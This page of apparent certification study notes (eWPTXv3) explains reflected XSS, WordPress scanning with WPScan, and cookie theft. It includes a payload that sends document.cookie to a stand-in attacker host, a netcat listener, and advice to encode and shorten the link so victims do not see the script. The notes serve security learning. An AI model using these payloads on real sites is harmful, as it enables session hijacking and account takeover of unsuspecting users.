eWPTXv3 - Notes
GitHubPortfolioTwitter/X MediumCont@ctHome
  • 📝eWPTXv3
    • Web Application Penetration Testing Methodology
      • 1.1 Introduction to Web App Security Testing
        • 1.1.1 Web Application
        • 1.1.2 Web App Architecture
        • 1.1.3 HTTP/HTTPS
      • 1.2 Web App Pentesting Methodology
    • Web Application Reconnaissance
      • 2.1 Information Gathering
        • 2.1.1 DNS Recon
          • 2.1.1.1 DNS Zone Transfer
          • 2.1.1.2 Subdomain Enumeration
        • 2.1.2 WAF Recon
      • 2.2 Passive Crawling & Spidering
      • 2.3 Web Server Fingerprinting
        • 2.3.1 File & Directory Brute-Force
      • 2.4 Web Proxies
        • 2.4.1 Burp Suite
        • 2.4.2 OWASP ZAP
    • Authentication Attacks
      • 6.1 HTTP Attacks
        • 6.1.1 HTTP Method Tampering
        • 6.1.2 Attacking HTTP Authentication
      • 6.2 Session Attacks
        • 6.2.1 Session Hijacking
        • 6.2.2 Session Fixation
        • 6.2.3 Session Hijacking via Cookie Tampering
      • 6.3 JWT Attacks
      • 6.4 CSRF
    • Injection Vulnerabilities
      • 4.1 Command Injection
      • 4.2 Cross-Site Scripting (XSS)
        • 4.2.1 XSS Anatomy
        • 4.2.2 Reflected XSS
        • 4.2.3 Stored XSS
        • 4.2.4 DOM-Based XSS
        • 4.2.5 Identifying & Exploiting XSS with XSSer
      • 4.3 ​SQL Injection (SQLi)
        • 4.3.1 DB & SQL Introduction
        • 4.3.2 SQL Injection (SQLi)
        • 4.3.3 In-Band SQLi
        • 4.3.4 Blind SQLi
        • 4.3.5 NoSQL
        • 4.3.6 SQLMap
        • 4.3.7 Mitigation Strategies
    • API Penetration Testing
      • 5.1 API Testing
    • Server-Side Attacks
      • 6.1 Server-side request forgery (SSRF)
      • 6.2 Deserialization
      • 6.3 ​File & Resource Attacks
        • 6.1 File Upload Vulnerability
        • 6.2 Directory Traversal
        • 6.3 File Inclusion (LFI and RFI)
          • 6.3.1 Local File Inclusion (LFI)
          • 6.3.2 Remote File Inclusion (RFI)
        • 6.4 CMS Pentesting
          • 6.4.1 Wordpress, Drupal & Magento
    • Filter Evasion & WAF Bypass
      • 7.1 Obfuscating attacks using encodings
    • 📄Report
      • How to write a PT Report
  • 🛣️RoadMap / Exam Preparation
  • 📔eWPTX Cheat Sheet
Powered by GitBook
On this page
  • Reflected XSS
  • Exploiting Reflected XSS Vulnerabilities in WordPress
  • Cookie Stealing Via Reflected XSS
  1. eWPTXv3
  2. Injection Vulnerabilities
  3. 4.2 Cross-Site Scripting (XSS)

4.2.2 Reflected XSS

Previous4.2.1 XSS AnatomyNext4.2.3 Stored XSS

Reflected XSS

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Suppose a website has a search function which receives the user-supplied search term in a URL parameter:

https://insecure-website.com/search?term=gift

The application echoes the supplied search term in the response to this URL:

<p>You searched for: gift</p>

Assuming the application doesn't perform any other processing of the data, an attacker can construct an attack like this:

https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

This URL results in the following response:

<p>You searched for: <script>/* Bad stuff here... */</script></p>

If another user of the application requests the attacker's URL, then the script supplied by the attacker will execute in the victim user's browser, in the context of their session with the application.

Exploiting Reflected XSS Vulnerabilities in WordPress

What is WordPress?

WordPress is a popular open-source content management system (CMS) used for creating websites and blogs. It provides a user-friendly interface and a wide range of plugins and themes, making it easy for users to build and customize their websites without needing extensive technical knowledge. WordPress is highly customizable, scalable, and is used by millions of websites worldwide.

Mainly by not frequently updating installed themes and plugins versions, vulnerabilities may occur, and this is where the WPScan tool comes in.

WPScan is a security scanner specifically designed to test the security of WordPress websites. It can identify security vulnerabilities in WordPress installations, themes, and plugins. WPScan works by scanning the target website for known security issues, such as outdated software versions, weak passwords, and common configuration errors. It helps website owners and developers identify and fix security flaws to protect their websites from potential attacks and breaches.

We can install it using following command: sudo apt-get install wpscan

  • Go to wpscan.com, register, login and configure account.

  • Generate an API key/token

  • Launch scan -> wpscan --url <Website_URL>

  • See results and search potential exploit on exploitdb using searchsploit <vulnerability_name>

  • Encode and shorten the link possibly to be sent to the victim (to hiding JS tags)

Cookie Stealing Via Reflected XSS

  • First verify that website is vulnerable to XSS -> <script>alert("XSS")</script>

  • Take on listening on attacker machine using netcat -> nc -lvnp 4444

  • Insert payload at the end of website -> new Image() .src='http://<Attacker_IP>:4444/?cookie=' + encodeURI(document.cookie);

  • Encode and shorten the link possibly to be sent to the victim (to hiding JS tags), we can use BurpSuite decoder

  • Obtain connection on netcat in listening.

Another good way is to 'trick' system inserting an imagine (without inserting it) and trigger the field onerror with our malicious payload: <img src=x onerror=alert(document.cookie)>

📝
What is reflected XSS (cross-site scripting)? Tutorial & Examples | Web Security AcademyWebSecAcademy
GitHub - wpscanteam/wpscan: WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites.GitHub
Logo
Logo
https://www.geeksforgeeks.org/what-is-cross-site-scripting-xss/